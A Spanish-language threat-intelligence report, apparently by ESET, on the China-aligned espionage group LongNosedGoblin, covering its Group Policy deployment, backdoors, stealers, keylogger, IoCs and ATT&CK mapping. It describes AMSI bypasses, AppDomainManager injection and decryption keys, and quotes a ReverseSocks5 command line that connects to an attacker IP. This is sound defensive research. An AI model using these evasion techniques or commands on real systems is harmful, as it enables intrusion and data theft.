En 2024, investigadores de ESET detectaron malware previamente no documentado en la red de una entidad gubernamental del sudeste asiático. Este hallazgo nos llevó a descubrir aún más malware nuevo en el mismo sistema, ninguno de los cuales presentaba vínculos sustanciales con actores de amenazas previamente rastreados. Con base en nuestros hallazgos, atribuimos estas herramientas maliciosas a un nuevo grupo APT alineado con China, al que hemos denominado LongNosedGoblin.

El grupo emplea un conjunto variado de herramientas personalizadas, compuesto principalmente por aplicaciones desarrolladas en C#/.NET. En particular, utiliza Group Policy para desplegar su malware y moverse lateralmente dentro de los sistemas de las entidades objetivo. Esta entrada de blog detalla nuestro descubrimiento de LongNosedGoblin, repasa sus campañas conocidas y profundiza en el conjunto de herramientas del grupo.

Puntos clave del informe:
  • LongNosedGoblin es un grupo APT recientemente descubierto, alineado con China, que tiene como objetivo entidades gubernamentales del sudeste asiático y Japón con fines de ciberespionaje. El grupo ha estado activo al menos desde septiembre de 2023.
  • El grupo ha estado activo al menos desde septiembre de 2023.
  • LongNosedGoblin emplea Group Policy para desplegar malware en redes comprometidas y utiliza servicios en la nube —como Microsoft OneDrive y Google Drive— como servidores de mando y control (C&C).
  • Una de sus herramientas, NosyHistorian, recopila el historial del navegador para decidir dónde desplegar más malware, como el backdoor NosyDoor.
  • Es probable que NosyDoor esté siendo compartida por múltiples actores de amenazas alineados con China.
  • En esta entrada proporcionamos un análisis detallado de NosyHistorian, NosyDoor, NosyStealer, NosyDownloader, NosyLogger y otras herramientas utilizadas por LongNosedGoblin.

Huele a problemas: Presentación de LongNosedGoblin

LongNosedGoblin es un grupo APT alineado con China que apunta a entidades gubernamentales del sudeste asiático y Japón con el objetivo de llevar a cabo ciberespionaje. Como mencionamos anteriormente, en sus campañas LongNosedGoblin abusa de Group Policy —un mecanismo para gestionar la configuración y los permisos de equipos Windows, normalmente utilizado con Active Directory— para desplegar malware y moverse lateralmente por la red comprometida.

Una de las principales herramientas de su arsenal es NosyHistorian, una aplicación C#/.NET que el grupo utiliza para recopilar el historial del navegador, información que luego sirve para decidir dónde desplegar más malware. Esto incluye otra herramienta clave: el backdoor NosyDoor, que en las campañas observadas empleaba Microsoft OneDrive como servidor de C&C.

NosyDoor también incorpora técnicas de living-off-the-land en su cadena de ejecución, concretamente mediante la inyección de AppDomainManager. Por último, varias herramientas del grupo son capaces de eludir la Antimalware Scan Interface (AMSI), que permite a los productos antimalware analizar scripts antes de su ejecución.

Descubrimiento

En febrero de 2024, identificamos malware desconocido en el sistema de una entidad gubernamental del sudeste asiático. Este malware se utilizaba para desplegar un backdoor personalizado, que más tarde denominamos NosyDoor. Al mismo tiempo, descubrimos que el ataque no afectaba solo a una máquina, sino a varias dentro de la misma entidad, y que el despliegue se había realizado mediante Group Policy.

Un análisis adicional reveló que las mismas víctimas también estaban comprometidas por otra herramienta maliciosa distribuida a través de Group Policy, diseñada para recopilar el historial del navegador. A esta herramienta la denominamos NosyHistorian. Aunque encontramos numerosas víctimas afectadas por NosyHistorian entre enero y marzo de 2024, solo un pequeño subconjunto también estaba comprometido por NosyDoor. Algunas muestras del dropper de NosyDoor incluso incluían execution guardrails para limitar la operación a máquinas específicas.

Más adelante, identificamos aún más malware desconocido en las máquinas afectadas: NosyStealer, que exfiltra datos del navegador; NosyDownloader, que descarga y ejecuta un payload en memoria; NosyLogger, un keylogger.

Otras herramientas, como un proxy SOCKS5 inverso y un argument runner (una utilidad que ejecuta una aplicación pasada como argumento), utilizada para ejecutar un grabador de vídeo —probablemente FFmpeg— para capturar audio y vídeo.

Atribución

Debido al conjunto de herramientas único, junto con el uso de Group Policy para el movimiento lateral, atribuimos los ataques a un nuevo grupo APT alineado con China, al que denominamos LongNosedGoblin. Observamos cierto solapamiento en las rutas de archivos mencionadas en una entrada del blog de Kaspersky sobre la actividad de ToddyCat, un grupo APT con objetivos similares; sin embargo, el malware descrito en ese informe carece de similitud de código con el analizado aquí.

También cabe destacar que, en junio de 2025, la empresa rusa de ciberseguridad Solar publicó un blog sobre un grupo APT denominado Erudite Mogwai, que utilizaba un payload muy similar a NosyDoor de LongNosedGoblin. Según Solar, Erudite Mogwai tenía como objetivo la infraestructura de TI de una organización gubernamental rusa y de empresas de TI rusas, y empleaba el backdoor LuckyStrike Agent en sus operaciones.

No obstante, no podemos confirmar que Erudite Mogwai y LongNosedGoblin sean el mismo grupo, ya que existen diferencias claras en sus TTPs. En particular, la investigación sobre Erudite Mogwai no menciona el abuso de Group Policy de Active Directory para el despliegue de malware, una técnica característica de las operaciones de LongNosedGoblin.

Más adelante, identificamos otra variante de NosyDoor dirigida a una organización en un país de la UE, que empleaba diferentes TTPs y utilizaba el servicio en la nube Yandex Disk como servidor de C&C. El uso de esta variante sugiere que el malware podría estar compartido entre varios grupos alineados con China. Esta hipótesis se ve reforzada por la observación de Solar de la palabra Paid en la ruta PDB de NosyDoor, lo que indica que el malware podría comercializarse como servicio, posiblemente vendido o licenciado a otros actores de amenazas.

Campañas posteriores

A lo largo de 2024, LongNosedGoblin desplegó activamente NosyDownloader en el sudeste asiático. En diciembre del mismo año, detectamos una versión actualizada de NosyHistorian en Japón, aunque no observamos actividad posterior.

En septiembre de 2025, comenzamos a ver una nueva oleada de actividad del grupo en el sudeste asiático. Al igual que en campañas anteriores, el actor utilizó Group Policy para distribuir NosyHistorian a los equipos objetivo.

Durante esta campaña, observamos comportamientos consistentes con el uso de Cobalt Strike: se descargó un loader denominado oci.dll en un único equipo, con un payload llamado ocapi.edb cargada desde el disco.

Posteriormente, LongNosedGoblin desplegó este loader potencial de Cobalt Strike en máquinas seleccionadas mediante Group Policy.

Además, identificamos otro componente similar, mscorsvc.dll, cuyo payload estaba almacenado en conf.ini. Este loader se distribuyó en los equipos de las víctimas utilizando el mismo mecanismo de entrega que oci.dll.

Curioseando: Herramientas de LongNosedGoblin

NosyHistorian

NosyHistorian es una aplicación C#/.NET con un nombre interno autoexplicativo: GetBrowserHistory, ya que su función principal es recopilar el historial del navegador. En las campañas observadas, los atacantes utilizaron esta herramienta para obtener información sobre las máquinas dentro de la infraestructura comprometida. Basándose en esta información, seleccionaron un pequeño subconjunto de víctimas específicas para comprometerlas aún más con su backdoor NosyDoor.

Observamos que la herramienta se desplegaba mediante Group Policy bajo el nombre de archivo History.ini, disfrazada como un archivo INI. En realidad, se trata de un archivo ejecutable portátil (PE), probablemente con el objetivo de mezclarse con otros archivos INI comúnmente almacenados en el directorio caché de Group Policy.

NosyHistorian itera sobre todos los usuarios de la máquina y recupera el historial de los navegadores Google Chrome, Microsoft Edge y Mozilla Firefox. Cada archivo de base de datos del historial se copia en un directorio temporal y luego se carga en un recurso compartido SMB específico, codificado dentro de la red local de la organización comprometida. El nombre de archivo que utiliza NosyHistorian para el historial de cada navegador web se indica en la Tabla 1, donde <profile_name>  corresponde a los perfiles de los navegadores.

Tabla 1. Nombres de archivos del historial creados por NosyHistorian

Web browser Filename
Google Chrome <username>_<machine_name>_<profile_name>_History
Microsoft Edge <username>_<machine_name>_edge_History
Mozilla Firefox <username>_<machine_name>_firefox_<profile_name>_places.sqlite

Tanto esta herramienta como NosyDoor tienen rutas PDB similares y fueron compiladas desde el directorio E:\Csharp, siendo la ruta PDB de NosyHistorian: E:\Csharp\SharpMisc\GetBrowserHistory\obj\Debug\GetBrowserHistory.pdb.

NosyDoor

Como se indicó anteriormente, el backdoor NosyDoor utiliza servicios en la nube, como Microsoft OneDrive, como servidor de C&C. El malware tiene una cadena de ejecución de tres etapas relativamente sencilla, como se muestra en la Figura 1: La primera etapa es un dropper que despliega la segunda etapa,un ataque en vivo utilizando la técnica de inyección AppDomainManager, que a su vez se utiliza en la tercera etapa para ejecutar el payload final: el backdoor en sí.

NosyDoor recopila metadatos sobre la máquina de la víctima, incluidos el nombre del equipo, el nombre de usuario, la versión del sistema operativo y el nombre del proceso actual, y los envía al C&C. Luego recupera y analiza datos adicionales de la máquina comprometida, así como archivos de tareas con comandos provenientes del C&C. Estos comandos permiten filtrar archivos, borrar archivos y ejecutar comandos shell, entre otras acciones.

 

Figure 1. NosyDoor execution chain 1
Figura 1.
Cadena de ejecución de NosyDoor
Cadena de ejecución de NosyDoor

NosyDoor Etapa 1 - dropper

La primera etapa del malware es un dropper, concretamente una aplicación C#/.NET con el nombre interno OneClickOperation. Al igual que NosyHistorian, se despliega a través de una directiva de grupo. Hemos visto que el dropper se hace pasar por un archivo de Política de Registro utilizando el nombre de archivo Registry.pol, aunque también hemos observado Registry.plo, que es poco común (podría ser un error tipográfico, o tal vez los actores de la amenaza no querían que el nombre de archivo entrara en conflicto con otro archivo malicioso)

El dropper decodifica en base64 los archivos incrustados y los desencripta mediante Data Encryption Standard (DES) con la clave y el vector de inicialización establecidos en UevAppMo (los primeros ocho bytes de la cadena UevAppMonitor), y luego los suelta en C:\Windows\Microsoft.NET\Framework con los siguientes nombres de archivo:

  • SharedReg.dll
  • log.cached
  • netfxsbs9.hkf
  • UevAppMonitor.exe.config

Estos nombres de archivo han sido elegidos deliberadamente para mezclarse con los archivos existentes, ya que el directorio normalmente contiene archivos llamados SharedReg12.dll y netfxsbs12.hkf.

En sus pasos finales, el dropper crea e inicia una tarea programada de Windows con el nombre OneDrive Reporting Task-S-1-5-21-<GUID> en la carpeta de tareas de Microsoft, donde <GUID> es una cadena GUID aleatoria. La tarea programada es responsable de ejecutar el archivo legítimo UevAppMonitor.exe en el directorio C:\Windows\Microsoft.NET\Framework durante el inicio del sistema. El dropper copia el archivo legítimo de C:\Windows\System32\ a la nueva ubicación.

Las muestras más recientes también incluyen una barrera de seguridad de ejecución que hace que el dropper sólo funcione en los ordenadores de las víctimas con un nombre de máquina específico (véase la Figura 2).

Figure 2. Dropper code
Figura 2. Código del dropper con guardarraíles de ejecución

NosyDoor Etapa 2 - Inyección de AppDomainManager

UevAppMonitor.exe es una aplicación C#/.NET legítima, que el malware copió del directorio C:\Windows\System32\ al directorio C:\Windows\Microsoft.NET\Framework y utilizó como binario viviente, o LOLBin. Los ataques Living-off-the-land abusan de herramientas legítimas ya presentes en el sistema. En este caso, la aplicación se utiliza para activar la inyección de AppDomainManager a través de un archivo de configuración. Esta técnica puede hacer que las aplicaciones creadas en el marco .NET carguen código malicioso en lugar del código legítimo previsto haciendo uso de la clase AppDomainManager.

Cuando se ejecuta la aplicación, se carga el archivo de configuración mostrado en la Figura 3, que hace que la aplicación llame al método InitializeNewDomain de la clase personalizada SharedReg en SharedReg.dll. La configuración también establece el atributo enabled del elemento <etwEnable> en false para que el seguimiento de eventos para Windows esté deshabilitado.

Figure 3. Content of UevAppMonitor.exe.config with specified AppDomainManager
Figura 3.
Contenido de UevAppMonitor
Contenido de UevAppMonitor.exe.config con AppDomainManager especificado

SharedReg.dll contiene código para evitar AMSI, de un marco de evasión AV/EDR de código abierto llamado inceptor. Aparte de eso, decodifica en base64 el archivo netfxsbs9.hkf, desencripta el resultado vía AES con la clave UevAppMonitor, rellenada con bytes nulos hasta que su longitud es 16, vector de inicialización 0, y finalmente decodifica en base64 el resultado de nuevo. El resultado es NosyDoor, que se ejecuta a continuación. Cualquier error se escribe en el archivo error.txt en el directorio C:\Windows\Microsoft.NET\Framework.

NosyDoor Etapa 3 - payload

La tercera etapa de NosyDoor, el payload principal, es un backdoor C#/.NET con el nombre interno OneDrive y con la ruta PDB E:\Csharp\Thomas\Server\ThomasOneDrive\obj\Release\OneDrive.pdb. Como su nombre indica, el backdoor utiliza servicios en la nube, en este caso Microsoft OneDrive, como servidor de C&C.

La lista completa de metadatos que recopila el backdoor es la siguiente:

  • dirección IPv4 externa,
  • dirección IPv4 local,
  • iD de agente,
  • nombre de usuario,
  • nombre de la máquina,
  • directorio actual,
  • proceso actual (nombre, ID, arquitectura),
  • hora de inicio local de la fase 3,
  • hora local actual,
  • Versión del sistema operativo,
  • CodeType (ver Tabla 3), y
  • AgentType (ver Tabla 3).

Todos los metadatos recopilados se cifran mediante RSA y luego se suben a OneDrive como el archivo Read_<agent_id>.max. Una vez que NosyDoor envía los metadatos, busca comandos del C&C en archivos de tareas con extensiones .max en el siguiente directorio:

<FolderName>-<ListenerID>/<agent_id>/<Payload.TaskFolderName>

Cada archivo de tarea contiene un comando cifrado, que se encapsula con valores tomados de la configuración del backdoor:

<Payload.Prepend><Payload.PayloadPrepend><comando_encriptado><Payload.PayloadAppend><Payload.Append>

A continuación, el comando se decodifica con base64 y se desencripta mediante AES con la clave <Payload.Key> y el vector de inicialización 0. Todos los comandos se describen en la Tabla 2. Aunque el comando CMD_TYPE_TASKSCHEDULER se menciona en el código, no se implementa en ninguna de las muestras observadas.

Tabla 2. Comandos soportados por NosyDoor

Command Description
CMD_TYPE_SHELL Execute a shell command.
CMD_TYPE_EXEC_ASM Load a .NET assembly.
CMD_TYPE_EXIT Quit NosyDoor.
CMD_TYPE_REMOVE Delete a file and list its original directory.
CMD_TYPE_DOWNLOAD Exfiltrate a file. Note that download and upload commands are here named in terms of the attacker’s perspective, treating the C&C machine as the local machine and the victim machine as the remote one.
CMD_TYPE_UPLOAD Upload a file to the victim’s machine, delete it from OneDrive, and list the directory where the file was uploaded.
CMD_TYPE_DRIVES Get names and sizes of logical drives present on the machine.
CMD_TYPE_FILE_BROWSE Obtain a directory listing, including file icons.
CMD_TYPE_SLEEP Set the beaconing interval.
CMD_TYPE_TASKSCHEDULER Not implemented.
CMD_TYPE_Plugin Load a .NET assembly, directly calling the method Plugin.Run.

Después de ejecutar el comando, NosyDoor realiza los pasos inversos - encripta la salida del comando usando AES, codifica con base64, y encapsula con las cadenas <Payload.Prepend><Payload.PayloadPrepend> y <Payload.PayloadAppend><Payload.Append>. Cada resultado se almacena en el servidor C&C en un archivo cuyo nombre especifica la hora local (marca de tiempo Unix multiplicada por 100.000) y termina con la extensión .max:

<FolderName>-<ListenerID>/<agent_id>/<Payload.ReceiveFolderName>/<unix_timestamp>.max

Si se produce una excepción durante el funcionamiento de NosyDoor, el backdoor escribe el mensaje de excepción junto con la hora local en C:\Users\Public\Libraries\thomas.log.

El backdoor contiene una dependencia personalizada llamada Library que se incrusta como un recurso mediante el uso de Costura. Contiene principalmente código relacionado con el procesamiento de comandos, la comunicación con Microsoft OneDrive y varios métodos de ayuda, mientras que el binario principal maneja el bucle de balizamiento y lee un archivo de configuración, utilizando la biblioteca.

La configuración se almacena en el archivo log.cached de forma encriptada. NosyDoor la descifra mediante XOR con la clave SecretKey, la descifra en base64, y luego la descifra mediante AES con la clave Thomas, rellenada con bytes nulos hasta que su longitud sea 16, e IV 0. Esta configuración puede verse en la Figura 4.

{{CODE_BLOCK_0}}

Figura 4. Configuración descifrada (log.cached, embellecido)

Los valores de configuración <BeginDate> y <EndDate> especifican el intervalo de tiempo local en el que opera NosyDoor. En este caso, NosyDoor sólo está activo entre las 8:51 am y las 6:51 pm. Sin embargo, una vez autenticado, NosyDoor procesará los comandos que aún estén pendientes en una cola y enviará los archivos de respuesta independientemente de la hora que sea.

NosyStealer

NosyStealer se utiliza para robar datos del navegador de Microsoft Edge y Google Chrome. Como se ilustra en la Figura 5, tiene una cadena de ejecución de cuatro etapas, siendo el componente stealer el payload de la etapa final.

Figure 5. NosyStealer execution chain )2)
Figura 5.
Cadena de ejecución de NosyStealer
Cadena de ejecución de NosyStealer

NosyStealer Etapa 1 - Loader DLL

La primera etapa(pmp.exe) de la cadena NosyStealer es una aplicación C/C++. La muestra observada simplemente carga una biblioteca llamada SERV.dll desde el disco y llama a la función exportada Hello.

Etapa 2 del NosyStealer - inyector

Hemos observado dos muestras NosyStealer Stage 2 - una(SERV.dll) en nuestra telemetría, y la otra(msi.dll) subida a VirusTotal desde Malasia. Ninguna tiene la función exportada Hello, pero ambas tienen el código principal en DllMain, es decir, el código malicioso se ejecuta justo después de cargar la DLL. Tienen las siguientes exportaciones:

  • ??0Cv2dllnoinject@@QEAA@XZ
  • 4Cv2dllnoinject@@QEAAAEAV0@$$QEAV0@@Z
  • 4Cv2dllnoinject@@QEAAAEAV0@AEBV0@@Z
  • fnv2dllnoinject@@YAHXZ
  • ?nv2dllnoinject@@3HA

Los datos de la siguiente fase se cargan desde la ruta codificada C:\ProgramData\Microsoft\WDF\MDE.dat. Se descifra mediante un cifrado XOR de un byte con clave 0x7A. El resultado es Donut shellcode que se inyecta en el proceso pmp.exe en ejecución (NosyStealer Stage 1) utilizando la API CreateRemoteThread en el caso SERV.dll, y en un proceso notepad.exe recién creado utilizando la API SetThreadContext en el caso msi.dll.

NosyStealer Etapa 3 - loader

Como se mencionó en la secciónNosyStealer Etapa 2 - inyector , esta etapa es shellcode que contiene un archivo PE incrustado que se descifra, carga y ejecuta en memoria utilizando el loader reflexivo de Donut. El binario extraído es una aplicación C/C++.

Al igual que la etapa 2 de NosyDoor - inyección de AppDomainManager, esta etapa utiliza una técnica conocida para eludir AMSI. Parchea la función AmsiScanBuffer en la amsi.dll cargada con código que devuelve E_INVALIDARG (ver Figura 6).

Figure 6. Hex-Rays decompiled code that patches AmsiScanBuffer
Figura 6.
Código descompilado de Hex-Rays
Código descompilado de Hex-Rays que parchea AmsiScanBuffer

A continuación, crea una tarea programada de Windows con el nombre Daily Check Task que ejecuta C:\ProgramData\Microsoft\WDF\pmp.exe (NosyStealer Stage 1) todos los días con permisos de la cuenta local del sistema.

Tras parchear la función AMSI y persistir, continúa de forma similar a la etapa anterior: descifra la siguiente etapa desde la ruta codificada C:\ProgramData\Microsoft\WDF\mfd.dat mediante un cifrado XOR de un byte con clave 0x7A, donde el blob resultante es otro shellcode Donut, que se ejecuta a continuación.

NosyStealer Etapa 4 - payload

De nuevo, al igual que la etapa 3 del NosyStealer - loader, esta etapa es un shellcode que descifra, carga y ejecuta un archivo PE incrustado en la memoria utilizando el  loader reflexivo de Donut. Esta vez, el binario extraído es una aplicación Go que roba datos del navegador de los navegadores web Microsoft Edge y Google Chrome. Para ello, descarga un archivo llamado config desde Google Docs. Cuando el archivo contiene el ID de la víctima, NosyStealer lee los datos de perfil de Microsoft Edge y Google Chrome, los archiva con tar y los cifra con un cifrado personalizado.

A continuación, NosyStealer exfiltra el archivo tar cifrado a Google Drive. La figura 7 es un ejemplo de la configuración con formato JSON, incrustada en el binario, necesaria para acceder a Google Drive y Google Docs.

{
  "type": "service_account",
  "project_id": "dev0-411506",
  "private_key_id": "[redacted]",
  "private_key": "[redacted]",
  "client_email": "dev0-660@dev0-411506.iam.gserviceaccount.com",
  "client_id": "[redacted]",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": 
"https://www.googleapis.com/robot/v1/metadata/x509/dev0-660%40dev0-411506.iam.gserviceaccount.com",
  "universe_domain": "googleapis.com"
}

Figura 7. Configuración de NosyStealer

NosyStealer también registra errores y mensajes de estado en un archivo de Google Docs llamado log, que puede incluir información de más de una víctima. El mensaje de estado incluye la constante 9, posiblemente una indicación de la versión de NosyStealer. El formato completo del mensaje de estado, donde <machine_local_ips> representa una lista de direcciones IPv4 locales de los adaptadores de red, es el siguiente:

<fecha_local> - <id_víctima> - 9 - heartbeat <machine_local_ips>

NosyDownloader

Analizando los datos de telemetría de ESET, también encontramos en las redes comprometidas por LongNosedGoblin varias aplicaciones originalmente benignas que habían sido parcheadas con código malicioso. Este código contiene un downloader que denominamos NosyDownloader, que ejecuta una cadena de comandos ofuscados pasados a un proceso PowerShell generado como un argumento de línea de comandos largo, lo que significa que el script no se almacena en el disco. Cada etapa subsiguiente se codifica con base64, y la última se desinfla adicionalmente con gzip.

Cada etapa se describe brevemente en la Tabla 3. Al igual que NosyDoor Etapa 2 y NosyStealer Etapa 3, la segunda etapa también evita AMSI. En este caso, NosyDownloader utiliza el método de reflexión de Matt Graeber y las técnicas de desactivación del registro de scripts disponibles en GitHub para evitar AMSI.

Tabla 3. Etapas del script NosyDownloader

Stage Description
1 Decodes and executes Stage 2 in a newly created PowerShell process that runs in a hidden window.
2 Bypasses AMSI, then decodes and executes Stage 3.
3 Decodes, decompresses, and executes Stage 4.
4 Downloads a payload and executes it in memory with Invoke-Expression.

Sospechamos que NosyDownloader fue usado para desplegar ReverseSocks5, NosyLogger, y un argument runner, ya que los vimos en el lapso de una semana después de que NosyDownloader fuera ejecutado.

NosyLogger

También identificamos un keylogger C#/.NET al que llamamos NosyLogger. Parece ser una versión modificada del keylogger de código abierto DuckSharp, con las principales diferencias de que no envía correos electrónicos ni traduce las claves registradas al alfabeto cirílico.

El malware comprueba inicialmente si hay un depurador presente a través de las API IsDebuggerPresent y CheckRemoteDebuggerPresent; si no es así, comienza su funcionalidad de keylogging.

El nombre de la ventana, las teclas pulsadas y el contenido del portapapeles pegado se acumulan en la memoria. NosyLogger cifra estos lotes de datos utilizando AES con la clave D53FCC01038E20193FBD51B7400075CF7C9C4402B73DA7B0DB836B000EBD8B1C y un vector de inicialización generado aleatoriamente de longitud fija, donde el vector se anexa al lote de datos cifrados. A continuación, el lote de datos cifrados se adjunta al archivo en la ubicación codificada C:\Windows\Temp\TS_D418.tmp en formato de cadena hexadecimal. En ese archivo, cada lote de datos cifrados está separado por una nueva línea seguida de la cadena ENDBLOCK. Este proceso de encriptación y almacenamiento de los datos acumulados en el fichero tiene lugar cada 10 segundos. Este archivo no es filtrado por NosyLogger.

Otras herramientas desplegadas

ReverseSocks5

Entre otros programas maliciosos desplegados por LongNosedGoblin, encontramos un proxy SOCKS5 inverso de código abierto, escrito en Go, llamado ReverseSocks5. Lo descubrimos cuando observamos que se utilizaban los siguientes argumentos de línea de comandos:

-connect 118.107.234[.]29:8080 -psk "58fi04qQ" /F

La opción -psk se utiliza para establecer una clave precompartida para el cifrado y la autenticación. El argumento /F no es manejado por ReverseSocks5 y es probablemente involuntario; este argumento es comúnmente usado con schtasks create.

A continuación, observamos otro conjunto de argumentos de línea de comandos (que ya no tienen el argumento /F ):

-connect 118.107.234[.]29:8080 -psk "15Kaf22N3b"

Este segundo conjunto corresponde a la ejecución de ReverseSocks5, donde observamos PowerShell como proceso padre. NosyDownloader también se ejecutó durante este tiempo, lo que indica que la muestra probablemente se desplegó con él.

Corredor de argumentos

Esta es una aplicación C#/.NET con nombre interno Binary; el único propósito de esta herramienta es ejecutar una aplicación pasada como argumento. Vimos el nombre de archivo TCOEdge.exe como parte de la línea de comandos junto con argumentos que son específicos del marco multimedia FFmpeg; se utilizó para grabar la pantalla y capturar audio, guardándolo en C:\Windows\Temp\output.avi.

Conclusión

LongNosedGoblin es un grupo APT alineado con China que tiene como objetivo entidades gubernamentales del sudeste asiático y Japón. Nuestro análisis de sus campañas reveló numerosas piezas de malware personalizado, que el grupo utiliza para llevar a cabo ciberespionaje contra sus víctimas. En particular, LongNosedGoblin emplea directivas de grupo para realizar movimientos laterales dentro de la red comprometida.

Para cualquier consulta sobre nuestra investigación publicada en WeLiveSecurity, por favor contáctenos en threatintel@eset.com.
ESET Research ofrece informes privados de inteligencia APT y fuentes de datos. Para cualquier consulta sobre este servicio, visite la página de ESET Threat Intelligence.

IoCs

Puede encontrar una lista completa de indicadores de compromiso (IoC) y muestras en nuestro repositorio de GitHub.

Archivos

SHA-1 Filename Detection Description
4E3F6E9D0F443F4C42974A0551EEE957B498DA3D History.ini MSIL/Spy.Agent.EUU NosyHistorian.
CD745BD2636F607CC4FB9389535BF3579321CA72 History.ini MSIL/Spy.Agent.EUU NosyHistorian.
154A35DD4117DB760699C2092AFB307E94008506 Registry.plo MSIL/TrojanDropper.Agent.GBQ NosyDoor stage 1.
B1D4A283A9CCC9E34993DD2093A904AFBD88B9B9 Registry.pol MSIL/TrojanDropper.Agent.GBQ NosyDoor stage 1.
77D2A8CB316B7A470E76E163551A00BB16A696C5 Registry.plo MSIL/TrojanDropper.Agent.GBQ NosyDoor stage 1.
F93E449C5520C4718E284375C54BE33711505985 Registry.pol MSIL/TrojanDropper.Agent.GBQ NosyDoor stage 1.
1959E2198D6F81B2604DF7AC1F508AEB7A6FA07E SharedReg.dll MSIL/Kryptik.AJBA NosyDoor stage 2.
E0B44715BC4C327C04E63F881ECC087B7ACBD306 N/A MSIL/Agent.ESF NosyDoor stage 3.
43C8AE8561E7E3BF9CD748136C091099E5CBEEEE N/A MSIL/Agent.ESF NosyDoor stage 3.
D11FC2D6159CB8BA392B145B3EE4ADFA15DB4C83 N/A MSIL/Agent.ESF NosyDoor stage 3.
A0A80AC293645076EBAE393FF0A6A4229E2EDE1C pmp.exe Win64/Agent.DNY NosyStealer stage 1.
DDBBAE33E04A49D17DD24D85B637667B4407AE19 SERV.dll Win64/Agent.DNX NosyStealer stage 2.
60158C509446893B3B57D40DC4B4B3795FCDF369 HPSupportAssistant.exe PowerShell/TrojanDownloader.Agent.JJO NosyDownloader.
F5B7440EE25116A49EC5EE82507B353880217AC1 RTLWVern.exe PowerShell/Agent.BDR NosyDownloader.
85939C56BFCACD0993E6FB9F7CFD6137601FB7D4 hpSmartAdapter.exe Win32/Agent.AGIJ NosyDownloader.
C66F9FEC0F8CBF577840944F61198A75B3E2A58C hputils.exe Win32/Agent.AGII NosyDownloader.
4C2FCCE3BAB4144D90C741A6D77ADF209C786B54 IGCCSvc.exe MSIL/Spy.Keylogger.FVW NosyLogger.
161A25CB0B8FA998BF1BDEE31F06F24876453CDF AdobeHelper.exe WinGo/ReverseShell.DX ReverseSocks5.
4D61A9FBBCC4F7A37BE21548B55BB5B9B837F83B msi.dll Win64/Agent.DOT NosyStealer stage 2.
5AE440805719250AAEFEE9B39DACD23D2FB573CD TCOCertified.exe MSIL/Runner.BW Argument runner.
E93D32C739825519A10A4C52C5F1EE33936E4FDB N/A WinGo/PSW.Agent.FZ NosyStealer stage 4.
212126896D38C1EE57320FB6940FED7A6E30D9EA N/A Win32/Agent.AGHB NosyStealer stage 3.
CFFE15AA4D0F9E6577CCB509ACE9C588937943F2 HPNDFInterface.exe PowerShell/TrojanDownloader.Agent.JJO NosyDownloader.
6AC22CE60B706E3B9A7927633116911E1087C0D4 bemsvc.exe PowerShell/TrojanDownloader.Agent.JJO NosyDownloader.
2C1959DD85424CEDC96B1BB86A95FCA440CB9E36 HPDeviceCheck.exe Win32/Agent.AGWU NosyDownloader.
46107B1292B830D9BCEBBDA6EEDB32FBC05707B4 HP.OCF.exe Win32/Patched.NLL NosyDownloader.
581464978C29B2BC79C65766E62011C94D2CBEAB HP.OCF.exe Win32/Patched.NLL NosyDownloader.
0D91A0E52212EC44E32C47F7760AF3B473B72798 ax_installer.exe PowerShell/TrojanDownloader.Agent.JJO NosyDownloader.
48D715466857FB0C6CD0249DE6D960FC199438E1 btdevmanager.exe MSIL/Spy.Keylogger_AGen.DL NosyLogger.
563677CFACD328EA2478836E58A8BD0DF11206A3 info.txt MSIL/Spy.Agent.EUU NosyHistorian.
AC2264C56121141DAF751A3852CD34F3ACB1D63C ntrtscan.exe MSIL/Spy.Agent.EUU NosyHistorian.
70A615BC580522E1EEE4B61394DC7A247FE47022 ntrtscan.exe MSIL/Spy.Agent.EUU NosyHistorian.
E9C5E4AA335DFBD25786234A58CE4C9C551D1A41 oci.dll Win64/Kryptik_AGen.UW Loader of unknown malware (possibly Cobalt Strike).
EC9CEB599DF3BDFFAD536900D0E6D48E2E5FF12B mscorsvc.dll Win64/Kryptik.EHP Loader of unknown malware (possibly Cobalt Strike).

Red

IP Domain Hosting provider First seen Details
118.107.234[.]26 www.sslvpnserver[.]com IRT‑IPSERVERONE‑MY 2022‑04‑09 NosyDownloader C&C server.
103.159.132[.]30 www.threadstub[.]com IRT-FBP-MY 2023‑10‑03 NosyDownloader C&C server.
101.99.88[.]113 www.blazenewso[.]com Shinjiru Technology Sdn Bhd 2024‑08‑23 NosyDownloader C&C server.
118.107.234[.]29 N/A IRT‑IPSERVERONE‑MY 2023‑03‑20 ReverseSocks5 server.
101.99.88[.]188 www.privacypolicy-my[.]com Shinjiru Technology Sdn Bhd administrator 2024‑10‑23 NosyDownloader C&C server.
38.54.17[.]131 N/A Kaopu Cloud HK Limited 2025‑03‑05 Server hosting malware, possibly Cobalt Strike.

Técnicas ATT&CK de MITRE

Esta tabla se ha elaborado utilizando la versión 18 del marco MITRE ATT&CK.

Tactic ID Name Description
Resource Development T1585.003 Establish Accounts: Cloud Accounts LongNosedGoblin created accounts on cloud-based services for C&C communication.
T1588.001 Obtain Capabilities: Malware LongNosedGoblin likely used shared malware that we named NosyDoor.
Execution T1059.001 Command and Scripting Interpreter: PowerShell NosyDownloader executes PowerShell commands.
T1059.003 Command and Scripting Interpreter: Windows Command Shell NosyDoor may execute commands via cmd.exe.
T1106 Native API NosyStealer Stage 1 executes the next stage via the LoadLibraryW API.
Persistence T1053.005 Scheduled Task/Job: Scheduled Task NosyDoor and NosyStealer are persisted using Windows scheduled tasks.
T1574.014 Hijack Execution Flow: AppDomainManager NosyDoor Stage 2 uses AppDomainManager injection to run malicious code.
Defense Evasion T1027.013 Obfuscated Files or Information: Encrypted/Encoded File Malicious files embedded in NosyDoor Stage 1 are encrypted via DES.
T1027.015 Obfuscated Files or Information: Compression NosyDownloader Stage 4 is compressed using gzip.
T1622 Debugger Evasion NosyLogger does not operate if a debugger is present.
T1480 Execution Guardrails Some samples of NosyDoor operate only on machines with specific names.
T1564.003 Hide Artifacts: Hidden Window NosyDownloader creates a PowerShell process with a hidden window.
T1562.001 Impair Defenses: Disable or Modify Tools NosyDoor Stage 2, NosyStealer Stage 3, and NosyDownloader bypass AMSI.
T1036.005 Masquerading: Match Legitimate Name or Location NosyHistorian Stage 1 was observed with the name Registry.pol, masquerading as a Registry Policy file.
T1218 Signed Binary Proxy Execution NosyDoor Stage 1 executes the next stage by leveraging the legitimate UevAppMonitor.exe.
